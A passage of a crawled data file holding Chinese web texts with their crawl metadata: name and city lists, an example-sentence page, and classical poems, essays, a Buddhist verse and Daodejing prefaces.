江永灿","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/www.n681.cn\/show_1EQ.aspx","date":"2019-05-26T19:17:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232259452.84\/warc\/CC-MAIN-20190526185417-20190526211417-00078.warc.gz","language":"lzh","language_score":0.7218327522,"language_script":"Hani","minhash_cluster_size":8,"top_langs":"{\"lzh_Hani_score\": 0.7218327522277832, \"nan_Hani_score\": 0.10060909390449524, \"jpn_Jpan_score\": 0.09542041271924973, \"cmn_Hani_score\": 0.07324033975601196}","num_words":278,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.724,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n唐姗宁 唐奕波 唐卓宁 唐恺乐 唐宋 唐倬宁 唐硕遥 唐笔员 唐续研 唐术研 唐卓佳 唐智旋 唐采翎 唐彩翎 唐卓遥 唐彩云 唐安淇 唐睿遥 唐振钧 唐娉宁 唐碧睿 唐畅睿 唐梦遥 唐语娇 唐矫 唐浩鑫 唐艺凡 唐瑞齐 唐碧遥 唐东初 唐芮萁 唐道刚 唐亚岭 唐锦鹏 唐树生 唐树云 唐愉靖 唐崇乔 唐珑芯 唐思思 唐雨雷 唐丽霜 唐艺芸 唐文兵 唐晓晶 唐兴宏 唐君芷 唐莺墁 唐东群 唐文静 唐雪岳 唐靓 唐仲蔚 唐渝儿 唐晓渝 唐小渝 唐伟成 唐梓淇 唐建清 唐佑辉 唐炜 唐仁华 唐一轩 唐研 唐仁江 唐明睿 唐行刚 唐崃 唐子强 唐令婉 唐令策 唐令童 唐海生 唐睿嘉 唐睿佳 唐昭林 唐召林 唐圣松 唐牛 唐艺豪 唐盛松 唐艺轩 唐艺宣 唐艺航 唐锡应 唐芳敏 唐伦海 唐能海 唐优 唐晶精 唐精 唐壹一 唐一意 唐言 唐梨 唐酥 唐甸泉 唐嫒宁 唐甸龙 唐甸隆 唐酆宁 唐馨宁 唐鳢宁 唐宁麝 唐麝宁 唐颦宁 唐麒宁 唐影宁 唐丁宁 唐宁一 唐宁儿 唐宁璨 唐旌宁 唐铢宁 唐雅歆 唐歆雅 唐骞歆 唐安明 唐明安 唐平安 唐筱 唐筱欣 唐筱歆 唐小强 唐毓椿 唐铷宁 唐一宁 唐乙宁 唐力行 唐建华 唐椿 唐家骐 唐智超 唐承义 唐乐旦 唐美基 唐庆君 唐嘉宁 唐泽奇 唐孝吉 唐真 唐礼升 唐兰段 唐娇娈 唐屹弘 唐渝姗 唐吉彬 唐临 唐越城 唐天南 唐光懿 唐地杰 唐步坚 唐一尹 唐寒儒 唐中原 唐学尧 唐阿县 唐万军 唐云生 唐昕恬 唐馨甜 唐刚 唐慧鑫 唐弈君 唐慧甜 唐玉萌 唐如宇 唐雪银 唐奕筠 唐丽儒 唐丽如 唐诗琪 唐金华 唐浩然 唐增先 唐恬甜 唐雪萌 唐宁倬 唐宁宁 唐浩铭 唐明郡 唐宁嫱 唐宁如 唐宁姗 唐妗宁 唐如宁 唐嫱宁 唐姹宁 唐佳渌 唐炎 唐佳潞 唐翌泽 唐海 唐朔 唐佳冰 唐昕 唐小凝 唐歆 唐渌露 唐维茳 唐嘉泽 唐维佳 唐彤彤 唐纯 唐德惠 唐依依 唐洪学 唐晓旭 唐立亚 唐天奇 唐光善 唐宜涓 唐漪涓 唐海溪 唐日希 唐宝河 唐雄全 唐雄船 唐雄权 唐明生 唐爱志 唐梓航 唐雄群 唐畅华 唐宾 唐语 唐一滦 唐一孪 唐坚 唐枭 唐及骊 唐微 唐滟 唐传军 唐广山 唐一丹 唐净净 唐友元 唐冬林 唐毅昊 唐睦云 唐靓滢 唐逸凡 唐茜 唐诺凡 唐波波 唐君凝 唐佳懿 唐江苏 唐嘉懿 唐津津 唐宜澜 唐奕澜 唐进军 唐德 唐雯露 唐子钦 唐茂源 唐行龙 唐欣爱 唐文龙 唐凝 唐珍妮 唐奕漩 唐漩 唐沁懿 唐胜男 唐添女 唐添 唐沁滢 唐天昊 唐霖 唐飒铄 唐霏霏 唐铣飒 唐泓 唐珊霓 唐凌 唐飒昃 唐皓轩 唐潜","id":"","dump":"CC-MAIN-2019-39","url":"http:\/\/www.j681.cn\/show_1EE.aspx","date":"2019-09-19T12:51:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573519.72\/warc\/CC-MAIN-20190919122032-20190919144032-00102.warc.gz","language":"lzh","language_score":0.9609320164,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.9609320163726807, \"wuu_Hani_score\": 0.036263782531023026}","num_words":283,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.261,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.959,"perplexity_score":500.0,"cluster_detection":1} +{"text":"地区:\n广州 杭州 上海 北京 深圳 汕头 成都 武汉 长沙 重庆 三亚 保定 哈尔滨 南京 东莞 厦门 石家庄 昆明 温州 苏州 大连 无锡 乌鲁木齐 大理 潍坊 福州 沈阳 天津 珠海 西安 金华 青岛 嘉兴 鞍山 湖州 郑州 佛山 济南 常熟 南宁 揭阳 泰安 株洲 本溪 兰州 黄石 南昌 赣州 合肥 湛江 芜湖 安庆 蚌埠 宝鸡 乐山 柳州 太原 宁波 海口 邯郸 唐山 马鞍山 湘西 阿勒泰 萍乡 郴州 台州 抚州 惠州 贵阳 濮阳 江门 阜阳 长春 银川 南阳 泉州 十堰 常州 北海 西宁 清远 锦州 云浮 朝阳 安康 潮州 池州 丽江 韶关 中山 绍兴 香港 茂名 盐城 驻马店 恩施 龙岩 澳门 四平 包头 阿克苏 衡阳 安顺 酒泉 宜宾 呼和浩特 六安 上饶 聊城 沧州 拉萨 文山 日照 大同 扬州 河源 白城 南通 鄂尔多斯 葫芦岛 海南 秦皇岛 牡丹江 益阳 广安 运城 汕尾 湘潭 绵阳 桂林 廊坊 肇庆 张家口 黑河 延安 莆田 抚顺 烟台 宜昌 梅州 遵义 泸州 黔西 泰州 玉溪 徐州 九江 孝感 丽水 威海 平顶山 宿迁 漳州 吉林 南充 阳江 常德 海西 定西 玉林\n没有作品哦!","id":"","dump":"CC-MAIN-2020-16","url":"https:\/\/mt.qm41.com\/Model?loc=10&kind=8","date":"2020-04-01T03:46:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370505366.8\/warc\/CC-MAIN-20200401034127-20200401064127-00327.warc.gz","language":"lzh","language_score":0.5391836762,"language_script":"Hani","minhash_cluster_size":2417,"top_langs":"{\"lzh_Hani_score\": 0.5391836762428284, \"cmn_Hani_score\": 0.3736043870449066, \"nan_Hani_score\": 0.08323577791452408}","num_words":163,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.325,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.61,"perplexity_score":500.0,"cluster_detection":1} +{"text":"造句网zaojv.com随机好图_老大是不看年龄的 不显示\n1 用人之道,尊以爵,赡以财,则士自来;接以礼,励以义,则士死之。\n5 在招揽人才方面,华鹤始终坚持\"广收慎用、知人善任、量才器使、勤教严绳\"的用人之道。\n6 袁本初色厉胆薄,好谋无断,干大事而惜身,见小利而忘命,用人而疑人,不懂用人之道,实非明主,郭兄弃之,却是先见。\n7\n更多相似词语造句: 以其人之道,还治其人之身造句 待人之道造句 以其人之道造句 一人之下,万人之上造句 以己之心,度人之腹造句 羞恶之心,人皆有之造句 以小人之心,度君子之腹造句 用之则行,舍之则藏造句 取之不尽,用之不竭造句 人人得而诛之造句 之用造句 用之造句 之道造句 用之于造句 人与人之间造句 运用之妙造句 无所用之造句 弃之不用造句 用武之地造句 用之不竭造句 可怜之人必有可恨之处造句 养生之道造句 为学之道造句 生存之道造句 生财之道造句 道义之交造句 有道之士造句 经营之道造句 处世之道造句 中庸之道造句","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/zaojv.com\/447065.html","date":"2021-01-20T18:47:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703521987.71\/warc\/CC-MAIN-20210120182259-20210120212259-00585.warc.gz","language":"lzh","language_score":0.3991909623,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.3991909623146057, \"yue_Hani_score\": 0.2394193410873413, \"cmn_Hani_score\": 0.23877589404582977, \"nan_Hani_score\": 0.10571083426475525}","num_words":36,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.188,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.435,"perplexity_score":500.0,"cluster_detection":1} +{"text":"孟子曰:「先王有不忍人之心,斯有不忍人之政。」臣某伏讀《善救方》而竊嘆曰:此可謂不忍人之政矣!夫君者,制命者也。推命而致之民者,臣也。君臣皆不失職,而天下受其治。方今之時,可謂有君矣。生養之德,通乎四海,至於蠻夷荒忽,不救之病,皆思有以救而存之。而臣等雖賤,實受命治民,不推陛下之恩澤而致之民,則恐得罪於天下而無所辭誅。謹以刻石,樹之縣門外左,令觀赴者自得而不求有司云。\n皇祐元年二月二十八日序。","id":"","dump":"CC-MAIN-2021-10","url":"https:\/\/zh.wikisource.org\/wiki\/%E5%96%84%E6%95%91%E6%96%B9%E5%BE%8C%E5%BA%8F","date":"2021-03-03T06:30:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178365454.63\/warc\/CC-MAIN-20210303042832-20210303072832-00568.warc.gz","language":"lzh","language_score":0.5917038321,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.5917038321495056, \"cmn_Hani_score\": 0.36101529002189636, \"nan_Hani_score\": 0.03345538675785065}","num_words":2,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.658,"perplexity_score":500.0,"cluster_detection":1} +{"text":"【作者】白居易 【朝代】唐\n潯陽江頭夜送客,楓葉荻花秋瑟瑟。主人下馬客在船,舉酒欲飲無管弦。醉不成歡慘將別,別時茫茫江浸月。\n忽聞水上琵琶聲,主人忘歸客不發。尋聲暗問彈者誰,琵琶聲停欲語遲。移船相近邀相見,添酒回燈重開宴。千呼萬喚始出來,猶抱琵琶半遮面。轉軸撥弦三兩聲,未成曲調先有情。弦弦掩抑聲聲思,似訴平生不得志。低眉信手續續彈,說盡心中無限事。輕攏慢捻抹復挑,初為《霓裳》後《六幺》。大弦嘈嘈如急雨,小弦切切如私語。嘈嘈切切錯雜彈,大珠小珠落玉盤。間關鶯語花底滑,幽咽泉流冰下難。冰泉冷澀弦凝絕,凝絕不通聲暫歇。別有幽愁暗恨生,此時無聲勝有聲。銀瓶乍破水漿迸,鐵騎突出刀槍鳴。曲終收撥當心畫,四弦一聲如裂帛。東船西舫悄無言,唯見江心秋月白。\n沈吟放撥插弦中,整頓衣裳起斂容。自言本是京城女,家在蝦蟆陵下住。十三學得琵琶成,名屬教坊第一部。曲罷曾教善才服,妝成每被秋娘妒。五陵年少爭纏頭,一曲紅綃不知數。鈿頭銀篦擊節碎,血色羅裙翻酒污。今年歡笑復明年,秋月春風等閒度。弟走從軍阿姨死,暮去朝來顏色故。門前冷落鞍馬稀,老大嫁作商人婦。商人重利輕別離,前月浮梁買茶去。去來江口守空船,繞船月明江水寒。夜深忽夢少年事,夢啼妝淚紅闌乾。\n我聞琵琶已嘆息,又聞此語重唧唧。同是天涯淪落人,相逢何必曾相識!我從去年辭帝京,謫居臥病潯陽城。潯陽地僻無音樂,終歲不聞絲竹聲。住近湓江地低濕,黃蘆苦竹繞宅生。其間旦暮聞何物?杜鵑啼血猿哀鳴。春江花朝秋月夜,往往取酒還獨傾。豈無山歌與村笛?嘔啞嘲哳難為聽。今夜聞君琵琶語,如聽仙樂耳暫明。莫辭更坐彈一曲,為君翻作《琵琶行》。感我此言良久立,卻坐促弦弦轉急。淒淒不似向前聲,滿座重聞皆掩泣。座中泣下誰最多?江州司馬青衫濕。","id":"","dump":"CC-MAIN-2021-21","url":"https:\/\/geoffreychen.com\/2018\/06\/29\/%E7%90%B5%E7%90%B6%E8%A1%8C\/","date":"2021-05-07T04:55:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-21\/segments\/1620243988774.96\/warc\/CC-MAIN-20210507025943-20210507055943-00221.warc.gz","language":"lzh","language_score":0.5120264292,"language_script":"Hani","minhash_cluster_size":40,"top_langs":"{\"lzh_Hani_score\": 0.5120264291763306, \"cmn_Hani_score\": 0.21667787432670593, \"nan_Hani_score\": 0.06444120407104492, \"yue_Hani_score\": 0.030161190778017044, \"zxx_Latn_score\": 0.025650400668382645, \"und_Tang_score\": 0.024739298969507217, \"wuu_Hani_score\": 0.015458022244274616, \"jpn_Jpan_score\": 0.01477852649986744}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.508,"perplexity_score":500.0,"cluster_detection":1} +{"text":"*據中華書局《古文觀止(全二冊)》(1959年9月第1版 2013年8月北京第24次印刷)訂正\n送楊少尹序 韓愈\n昔疏廣、受二子、以年老、一朝辭位而去。漢疏廣、東海蘭陵人。仕至太子太傅。兄子受、仕至太子少傅。在位五年、廣謂受曰、知足不辱、知止不殆、宦成名立、如此不去、懼有後悔。乃上疏乞骸骨、上許之。於時公卿設供張、祖道都門外、車數百兩。去聲、 ○供張、謂供具張設也。祭道神曰祖。祖道、謂踐行也。兩、一車也。一車兩輪、故謂之兩。道路觀者、多歎息泣下、共言其賢。漢史既傳其事、而後世工畫者、又圖其迹。至今照人耳目、赫赫若前日事。敍二疏事引起。國子司業楊君巨源、入題。方以能詩訓後進、此句補楊君在官時事。一旦以年滿七十、亦白丞相去歸其鄉。敍楊君事畢、以下發議論。世常說古今人不相及、今楊與二疏、其意豈異也。隨手先作一總。予忝在公卿後、時公爲吏部侍郎。遇病不能出。一篇情景、全在托病上寫出。不知楊侯去時、城門外送者幾人、車幾兩、馬幾匹、道邊觀者、亦有歎息知其爲賢與否。而太史氏又能張大其事、爲傳繼二疏蹤跡否、不落莫否。司業去位、國史亦書。但不張大其事、雖書亦落莫也。見今世無工畫者、而畫與不畫、固不論也。上文圖迹、原屬後世事、所以付之不論。 ○此段從二疏合到楊侯。然吾聞楊侯之去、丞相有愛而惜之者、白以爲其都少尹、不絕其祿。白之于朝命、爲其邑少尹、不絕其俸祿。又爲歌詩以勸之、京師之長於詩者、亦屬祝、而和之。又不知當時二疏之去、有是事否。此段從楊侯合到二疏。古今人同不同未可知也。隨手再作一總、應前古今人不相及。中世士大夫、以官爲家、罷則無所於歸。反襯楊侯。楊侯始冠、去聲、舉於其鄉、歌鹿鳴而來也。賓句。今之歸、主句。指其樹曰、某樹吾先人之所種也。某水某丘、吾童子時所釣遊也。點出歸鄉風趣。鄉人莫不加敬、誡子孫以楊侯不去其鄉爲法。法其不以官爲家、罷後有所歸。古之所謂鄉先生、沒而可祭於社者、古人臨文不諱。其在斯人歟、其在斯人歟。感歎不盡。\n巨源之去、未必可方二疏。公欲張大之、將來形容、又不可確言。特前說二疏所有、或少尹所無。後說少尹所有、或二疏所無。則巨源之美不可掩、而已亦不至失言。末托慨世之詞、寫出楊侯歸鄉、可敬可愛、情景宛然。","id":"","dump":"CC-MAIN-2021-21","url":"https:\/\/neodu.com\/%E3%80%8A%E9%80%81%E6%A5%8A%E5%B0%91%E5%B0%B9%E5%BA%8F%E3%80%8B%E7%B9%81%E9%AB%94%E5%AD%97%E7%89%88.html","date":"2021-05-09T02:33:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-21\/segments\/1620243988953.13\/warc\/CC-MAIN-20210509002206-20210509032206-00231.warc.gz","language":"lzh","language_score":0.4010650218,"language_script":"Hani","minhash_cluster_size":9,"top_langs":"{\"lzh_Hani_score\": 0.40106502175331116, \"cmn_Hani_score\": 0.15621992945671082, \"zxx_Latn_score\": 0.05640901252627373, \"jpn_Jpan_score\": 0.047976747155189514, \"nan_Hani_score\": 0.045611973851919174, \"und_Tang_score\": 0.028438927605748177, \"wuu_Hani_score\": 0.024908138439059258, \"und_Yiii_score\": 0.018046965822577477, \"und_Cans_score\": 0.013359653763473034, \"und_Cyrl_score\": 0.012298502959311008, \"und_Grek_score\": 0.011058449745178223, \"yue_Hani_score\": 0.010030042380094528}","num_words":8,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.19,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.398,"perplexity_score":500.0,"cluster_detection":1} +{"text":"士不遇賦\n嗚呼嗟乎,遐哉邈矣。時來曷遲,去之速矣。屈意從人,非吾徒矣。正身俟時,將就木矣。悠悠偕時,豈能覺矣。必之憂歟,不期祿矣。皇皇匪寧,祗增辱矣。努力觸藩,徒摧角矣。不出戶庭,庶無過矣。\n生不丁三代之盛隆兮,而丁三季之末俗。以辨詐而期通兮,貞士耿介而自束。雖日三省於吾身兮,猶懷進退之惟谷。彼寔繁之有徒兮,指其白而爲黑。目信嫮而言眇兮,口信辨而言訥。鬼神不能正人事之變戾兮,聖賢亦不能開愚夫之違惑。出門則不可與偕兮,藏器又蚩其不容。退洗心而內訟兮,亦未知其所從也。觀上古之清濁兮,廉士亦煢煢而靡歸。殷湯有卞隨與務光兮,周武有伯夷與叔齊。卞隨務光遁迹於深淵兮,伯夷叔齊登而采薇。使彼聖人其猶周遑兮,矧舉世而同迷。若伍員與屈原兮,固亦無所復顧。亦不能同彼數子兮,將遠游而終慕。\n於吾儕之云遠兮,疑荒塗而難踐。憚君子之于行兮,誡三日而不飯。嗟天下之偕違兮,悵無與之偕返。孰若返身於素業兮,莫隨世而輪轉。雖矯情而獲百利兮,復不如正心而歸一善。紛旣迫而後動兮,豈云稟性之惟褊。《同人》而《大有》兮,明謙光而務展。遵幽昧於默足兮,豈舒采而蘄顯。苟肝膽之可同兮,奚鬚髮之足辨也。\n|此西漢作品在全世界都属于公有领域,因为作者逝世已经遠遠超过100年。|","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/zh.m.wikisource.org\/wiki\/%E5%A3%AB%E4%B8%8D%E9%81%87%E8%B3%A6","date":"2022-05-27T15:17:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662658761.95\/warc\/CC-MAIN-20220527142854-20220527172854-00709.warc.gz","language":"lzh","language_score":0.6032289267,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.6032289266586304, \"cmn_Hani_score\": 0.10608989000320435, \"zxx_Latn_score\": 0.052352357655763626, \"nan_Hani_score\": 0.04322052001953125, \"und_Tang_score\": 0.025845594704151154, \"yue_Hani_score\": 0.01222651731222868, \"und_Yiii_score\": 0.01051413081586361}","num_words":5,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.354,"perplexity_score":500.0,"cluster_detection":1} +{"text":"易論\n聖人之道,得禮而信,得《易》而尊。信之而不可廢,尊之而不敢廢,故聖人之道所以不廢者,禮為之明而《易》為之幽也。生民之初,無貴賤,無尊卑,無長幼,不耕而不沚,不蠶而不寒,故其民逸。民之苦勞而樂逸也,若水之走下。而聖人者,獨為之君臣,而使天下貴役賤;為之父子,而使天下尊役卑;為之兄弟,而使天下長役幼;蠶而後衣,耕而後食,率天下而勞之。一聖人之力固非足以勝天下之民之眾,而其所以能奪其樂而易之以其所苦,而天下之民亦遂肯棄逸而即勞,欣然戴之以為君師,而遵蹈其法制者,禮則使然也。聖人之始作禮也,其說曰:天下無貴賤,無尊卑,無長幼,是人之相殺無已也。不耕而食鳥獸之肉,不蠶而衣鳥獸之皮,是鳥獸與人相食無已也。有貴賤,有尊卑,有長幼,則人不相殺。食吾之所耕,而衣吾之所蠶,則鳥獸與人不相食。人之好生也甚於逸,而惡死也甚於勞,聖人奪其逸死而與之勞生,此雖三尺豎子知所趨避矣。故其道之所以信於天下而不可廢者,禮為之明也。雖然,明則易達,易達則褻,褻則易廢。聖人懼其道之廢,而天下復於亂也,然後作《易》。觀天地之象以為爻,通陰陽之變以為卦,考鬼神之情以為辭。探之茫茫,索之冥冥,童而習之,白首而不得其源。故天下視聖人如神之幽,如天之高,尊其人而其教亦隨而尊。故其道之所以尊於天下而不敢廢者,《易》為之幽也。凡人之所以見信者,其中無所不可測者也。人之所以獲尊者,其中有所不可窺者也。是以禮無所不可測,而《易》有所不可窺,故天下之人信聖人之道而尊之。不然,則《易》者豈聖人務為新奇秘怪以誇後世耶?聖人不因天下之至神,則無所施其教。卜筮者,天下之至神也。而卜者,聽乎天而人不預焉者也,筮者決之天而營之人者也。龜,漫而無理者也,灼荊而鉆之,方功義弓,惟其所為,而人何預焉?聖人曰:是純乎天技耳,技何所施吾教?於是取筮。夫筮之所以或為陽、或為陰者,必自分而為二始;卦一,吾知其為一而卦之也;揲之以四,吾知其為四而揲之也;歸奇於扐,吾知其為一、為二、為三、為四而歸之也,人也。分而為二,吾不知其為幾而分之也,天也。聖人曰:是天人參焉,道也,道有所施吾教矣。於是因而作《易》以神天下之耳目,而其道遂尊而不廢。此聖人用其機權以持天下之心,而濟其道於不窮也。\n|本北宋作品在全世界都属于公有领域,因为作者逝世已经遠遠超过100年。|","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/zh.m.wikisource.org\/wiki\/%E6%98%93%E8%AB%96","date":"2022-08-11T00:45:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882571222.74\/warc\/CC-MAIN-20220810222056-20220811012056-00069.warc.gz","language":"lzh","language_score":0.7808295488,"language_script":"Hani","minhash_cluster_size":14,"top_langs":"{\"lzh_Hani_score\": 0.7808295488357544, \"cmn_Hani_score\": 0.15180522203445435, \"nan_Hani_score\": 0.05185237154364586}","num_words":3,"character_repetition_ratio":0.006,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.812,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1.\n闯关东\n国产剧\n李幼斌 萨日娜 宋佳 牛莉 马恩然 高明 朱亚文 刘向京 黄小蕾 靳东 梁林琳 齐奎 王奎荣 毕彦君 鲍国安 丁嘉丽 李庆祥 王绘春 刘金山 高强 赵亮 李大强 任帅 王德顺 赵苏婷 张延平 王一峰 杨强 侯祥 李山 于洪涛 朱光有 刘楠 刘明 张慧兰 赵学贤 王永泉 刘建仁 刘慧逸 唐春新 王晓玲 尚铁龙 岳旸 刘鑫 康群智 刘红星 穆丽燕 邓鸣 周游 王博 杨丽晓 刘肇烨 许陈俊嘉 关一 李克伟 王凡奇 张书田 李品夆 王波 梁西 邢峰 张永丰 李小波 黄强 李亮 张洪铭","id":"","dump":"CC-MAIN-2023-14","url":"http:\/\/www.gx12301.com\/vodsearch\/-%E5%88%98%E6%85%A7%E9%80%B8------------.html","date":"2023-03-22T05:17:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296943750.71\/warc\/CC-MAIN-20230322051607-20230322081607-00588.warc.gz","language":"lzh","language_score":0.7073864937,"language_script":"Hani","minhash_cluster_size":46,"top_langs":"{\"lzh_Hani_score\": 0.7073864936828613, \"cmn_Hani_score\": 0.24445411562919617, \"nan_Hani_score\": 0.045751024037599564}","num_words":68,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.287,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.707,"perplexity_score":500.0,"cluster_detection":1} +{"text":"譬如工画师.分布诸彩色.\n虚妄取异相.大种无差别.\n大种中无色.色中无大种.\n亦不离大种.而有色可得.\n心中无彩画.彩画中无心.\n然不离于心.有彩画可得.\n彼心恒不住.无量难思议.\n示现一切色.各各不相知.\n譬如工画师.不能知自心.\n而由心故画.诸法性如是.\n心如工画师.能画诸世间.\n五蕴悉从生.无法而不造.\n如心佛亦尔.如佛众生然.\n应知佛与心.体性皆无尽.\n若人知心行.普造诸世间.\n是人则见佛.了佛真实性.\n心不住于身.身亦不住心.\n而能作佛事.自在未曾有.\n若人欲了知.三世一切佛.\n应观法界性.一切唯心造.","id":"","dump":"CC-MAIN-2024-18","url":"http:\/\/www.ifofo.com\/360.html","date":"2024-04-17T03:04:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817128.7\/warc\/CC-MAIN-20240417013540-20240417043540-00881.warc.gz","language":"lzh","language_score":0.4446318448,"language_script":"Hani","minhash_cluster_size":72,"top_langs":"{\"lzh_Hani_score\": 0.4446318447589874, \"nan_Hani_score\": 0.20237034559249878, \"wuu_Hani_score\": 0.18672628700733185, \"cmn_Hani_score\": 0.14057686924934387}","num_words":20,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.457,"perplexity_score":500.0,"cluster_detection":1} +{"text":"楚辭\/惜誓\n惜誓第十一\n惜余年老而日衰兮,歲忽忽而不反。登蒼天而高舉兮,歷眾山而日遠。觀江河之紆曲兮,離四海之沾濡;攀北極而一息兮,吸沆瀣以充虛。飛朱鳥使先驅兮,駕太一之象輿;蒼龍蚴虬於左驂兮,白虎騁而為右騑;建日月以為蓋兮,載玉女於後車;馳騖於沓冥之中兮,休息虖昆侖之墟。 樂窮極而不厭兮,願從容虖神明;涉丹水而駝騁兮,右大夏之遺風。黃鵠之一舉兮,知山川之紆曲,再舉兮,睹天地之圜方;臨中國之眾人兮,托回飇乎尚羊。乃至少原之壄兮,赤松王喬皆在旁;二子擁瑟而調均兮,余因稱虖清商。澹然而自樂兮,吸眾氣而翱翔;念我長生而久僊兮,不如反余之故鄉。\n黃鵠後時而寄處兮,鴟梟群而制之;神龍失水而陸居兮,為螻蟻之所裁。夫黃鵠、神龍猶如此兮,況賢者之逢亂世哉?\n壽冉冉而日衰兮,固儃回而不息;俗流從而不止兮,眾枉聚而矯直。或偷合而苟進兮,或隱居而深藏;苦稱量之不審兮,同權槩而就衡。或推迻而苟容兮,或直言之諤諤;傷誠是之不察兮,并紉茅絲以為索。\n方世俗之幽昏兮,眩白黑之美惡;放山淵之龜玉兮,相與貴夫礫石。梅伯數諫而至醢兮,來革順志而用國;悲仁人之盡節兮,反為小人之所賊。比干忠諫而剖心兮,箕子被髮而佯狂;水背流而源竭兮,木去根而不長;非重軀以慮難兮,惜傷身之無功。\n已矣哉!獨不見夫鸞鳳之高翔兮,乃集大皇之壄;循四極而回周兮,見盛德而後下。彼聖人之神德兮,遠濁世而自藏。使麒麟可得羈而係兮,又何以異虖犬羊?","id":"","dump":"CC-MAIN-2017-13","url":"https:\/\/zh.wikisource.org\/wiki\/%E6%A5%9A%E8%BE%AD\/%E6%83%9C%E8%AA%93","date":"2017-03-25T17:29:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218189031.88\/warc\/CC-MAIN-20170322212949-00456-ip-10-233-31-227.ec2.internal.warc.gz","language":"lzh","language_score":0.7656636834,"language_script":"Hani","minhash_cluster_size":79,"top_langs":"{\"lzh_Hani_score\": 0.7656636834144592, \"nan_Hani_score\": 0.08972606062889099, \"cmn_Hani_score\": 0.043884146958589554, \"zxx_Latn_score\": 0.015577314421534538, \"yue_Hani_score\": 0.014473609626293182}","num_words":8,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.402,"perplexity_score":500.0,"cluster_detection":1} +{"text":"呂子道德經解序\n玄元道祖為無始之至尊代分身。而啟化函關。初度之年。紫氣東來。青牛寄蹟。著道德五千言。以授令尹真人。其書推本於聲臭之原。旁及乎物理之變。體用本末蓋綦詳焉。秦漢而還。代有著述。惜多狃於膚見。偏泥玄文。昧厥源流。指為惝恍。句讀之不明豈細故哉。予叨逢道化。證位清虛。深悼末學游談。各分門戶。仍譌踵謬。致誤來茲。不憚親為釐訂。以袪千載之疑。雖無上妙奧非文字所能畢宣。而精一淵源即此書。堪為典要。得其義而大其傳。是予之厚望也。夫是予之厚望也夫。\n端平三年五月午日純陽山人謹序\n重刋道德經解敘\n乾坤未剖。氤氳混融。渾渾淪淪。莫名其始。是天地萬物之原。即無極太極之妙也。迨夫相摩相盪。乃奠兩儀。於斯時也。混元一氣。誕瑞鍾靈。厥惟太上道祖。緣其先天奉天。不今不古。隨時變化。更姓易名。以神奇之妙詣。常闡教而分真。住世留踪。隱顯莫測。所以歷代以來儒者罕究。其故夫子不云乎。鳥吾知其能飛。獸吾知其能走。至於龍。吾不知其乘雲而上青天也。嗚呼。盡之矣。道德經五千言。總貫天人萬物之理。直抉於穆清甯之機。秦漢以來。識者甚尠。兼忘本逐末之流。偏枯附會之輩。謬解虛無。妄相詬病。詎知言各有當。道無二端。清淨自然乃純一不已之極致。中庸淵淵浩浩。無臭無聲。詞異旨同。均言性體。世儒談理或專倚於寂。言事則偏執於形。烏覩夫一本萬殊。異用同原。太上德合無疆。不可以尋常膚見窺測也。